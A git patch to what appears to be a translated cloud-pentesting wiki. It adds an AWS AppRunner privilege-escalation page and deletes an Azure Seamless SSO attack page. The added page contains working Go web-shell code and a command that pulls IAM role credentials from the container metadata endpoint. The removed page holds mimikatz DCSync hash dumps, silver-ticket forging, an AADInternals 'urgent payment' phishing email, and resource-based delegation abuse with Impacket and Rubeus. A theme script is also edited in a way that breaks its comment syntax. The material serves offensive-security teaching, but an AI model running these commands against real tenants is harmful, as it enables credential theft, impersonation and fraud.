From a937ae6f53271eb04eea622e2c82b935b11ad7cd Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 1 Aug 2025 09:45:52 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 3 +- .../aws-apprunner-privesc.md | 71 +++++++ .../seamless-sso.md | 186 ------------------ theme/ai.js | 24 +-- 4 files changed, 85 insertions(+), 199 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..724f47655 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,71 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +拥有这些权限的攻击者可以创建一个附加了 IAM 角色的 AppRunner 服务,从而通过访问该角色的凭证来潜在地提升权限。 + +攻击者首先创建一个 Dockerfile,作为一个 web shell,用于在 AppRunner 容器上执行任意命令。 +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +然后,将此镜像推送到 ECR 存储库。通过将镜像推送到攻击者控制的 AWS 账户中的公共存储库,即使受害者的账户没有权限操作 ECR,也可以实现权限提升。 +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +接下来,攻击者创建一个配置了这个 web shell 镜像和他们想要利用的 IAM 角色的 AppRunner 服务。 +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +在等待服务创建完成后,使用 web shell 检索容器凭证并获取附加到 AppRunner 的 IAM 角色的权限。 +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**潜在影响:** 直接提升到可以附加到 AppRunner 服务的任何 IAM 角色的权限。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index 3ada5d992..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,186 +0,0 @@ -# Az - Seamless SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## 基本信息 - -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动**在用户使用连接到公司网络的公司设备时登录用户**。启用后,**用户无需输入密码即可登录 Azure AD**,通常甚至不需要输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式,而无需任何额外的本地组件。 - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -基本上,Azure AD Seamless SSO **在用户** **在本地域加入的 PC 上** 时**登录用户**。 - -它支持 [**PHS (密码哈希同步)**](phs-password-hash-sync.md) 和 [**PTA (透传身份验证)**](pta-pass-through-authentication.md)。 - -桌面 SSO 使用 **Kerberos** 进行身份验证。当配置时,Azure AD Connect 在本地 AD 中创建一个 **名为 `AZUREADSSOACC$` 的计算机帐户**。`AZUREADSSOACC$` 帐户的密码在配置期间**以明文形式发送到 Entra ID**。 - -**Kerberos 票证**使用密码的 **NTHash (MD4)** 进行**加密**,Entra ID 使用发送的密码解密票证。 - -**Entra ID** 暴露一个 **端点** (https://autologon.microsoftazuread-sso.com),接受 Kerberos **票证**。域加入机器的浏览器将票证转发到此端点以实现 SSO。 - -### 枚举 -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> 关于此攻击,主要需要知道的是,仅仅拥有与 Entra ID 同步的用户的 TGT 或特定 TGS 就足以访问云资源。\ -> 这是因为它是一个允许用户登录云的票证。 - -为了获得该 TGS 票证,攻击者需要拥有以下之一: -- **被攻陷用户的 TGS:** 如果您在内存中攻陷了用户的会话,并获得了 `HTTP/autologon.microsoftazuread-sso.com` 的票证,您可以使用它访问云资源。 -- **被攻陷用户的 TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假 TGT 委托技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。 -- **被攻陷用户的哈希或密码:** SeamlessPass 将使用此信息与域控制器通信以生成 TGT,然后是 TGS。 -- **金票:** 如果您拥有 KRBTGT 密钥,您可以为被攻击用户创建所需的 TGT。 -- **AZUREADSSOACC$ 账户哈希或密码:** 使用此信息和用户的安全标识符 (SID) 进行攻击,可以创建服务票证并在云中进行身份验证(如前面的方法所示)。 - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -正如 [这篇博客文章](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/) 中所解释的,拥有任何先前的要求,使用工具 **SeamlessPass** 以被攻陷用户的身份或以任何用户的身份(如果您拥有 **`AZUREADSSOACC$`** 账户哈希或密码)访问云资源非常简单。 - -最后,使用 TGT 可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass): -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。 - -### 获取 AZUREADSSOACC$ 账户的哈希值 - -用户 **`AZUREADSSOACC$` 的 **密码** 永远不会改变**。因此,域管理员可以破解该 **账户的哈希值**,然后使用它 **创建银票** 以连接到 Azure,使用 **任何同步的本地用户**: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> 使用当前的信息,您可以像之前所述的那样使用工具 **SeamlessPass** 来获取域中任何用户的 azure 和 entraid 令牌。 -> 您还可以使用之前的技术(以及其他技术)来获取您想要冒充的受害者的密码哈希,而不是 `AZUREADSSOACC$` 账户。 - -#### 创建银票 - -有了哈希,您现在可以 **生成银票**: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### 使用 Silver Tickets 与 Firefox - -要利用银票,应执行以下步骤: - -1. **启动浏览器:** 应启动 Mozilla Firefox。 -2. **配置浏览器:** -- 导航到 **`about:config`**。 -- 将 [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) 的首选项设置为指定的 [值](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- 导航到 Firefox `设置` > 搜索 `允许 Windows 单点登录用于 Microsoft、工作和学校帐户` 并启用它。 -3. **访问 Web 应用程序:** -- 访问与组织的 AAD 域集成的 Web 应用程序。一个常见的例子是 [login.microsoftonline.com](https://login.microsoftonline.com/)。 -4. **身份验证过程:** -- 在登录屏幕上,应输入用户名,密码字段留空。 -- 要继续,请按 TAB 或 ENTER。 - -> [!WARNING] -> 如果用户启用了 MFA,这 **不会绕过 MFA**。 - -### 本地 -> 云通过基于资源的受限委派 - -执行攻击所需: - -- `WriteDACL` / `GenericWrite` 权限在 `AZUREADSSOACC$` 上 -- 一个您控制的计算机帐户(哈希和密码) - 您可以创建一个 - -1. 第 1 步 – 添加您自己的计算机帐户 -- 创建 `ATTACKBOX$` 并打印其 SID/NTLM 哈希。任何域用户都可以在 MachineAccountQuota > 0 时执行此操作。 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. 第2步 – 在 `AZUREADSSOACC$` 上授予 RBCD - 将您的机器 SID 写入 `msDS-AllowedToActOnBehalfOfOtherIdentity`。 -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. 第3步 – 为任何用户(例如:alice)伪造TGS -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -您现在可以使用 **TGS 以被冒充用户的身份访问 Azure 资源。** - -### ~~为仅云用户创建 Kerberos 票证~~ - -如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以 **为任何云用户设置 SID**。这样,Kerberos **票证** 也可以 **为仅云用户创建**。唯一的要求是 SID 必须是一个合适的 [SID](). - -> [!CAUTION] -> 仅云管理员用户的 SID 现在 **被 Microsoft 阻止**。\ -> 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - -## 参考文献 - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/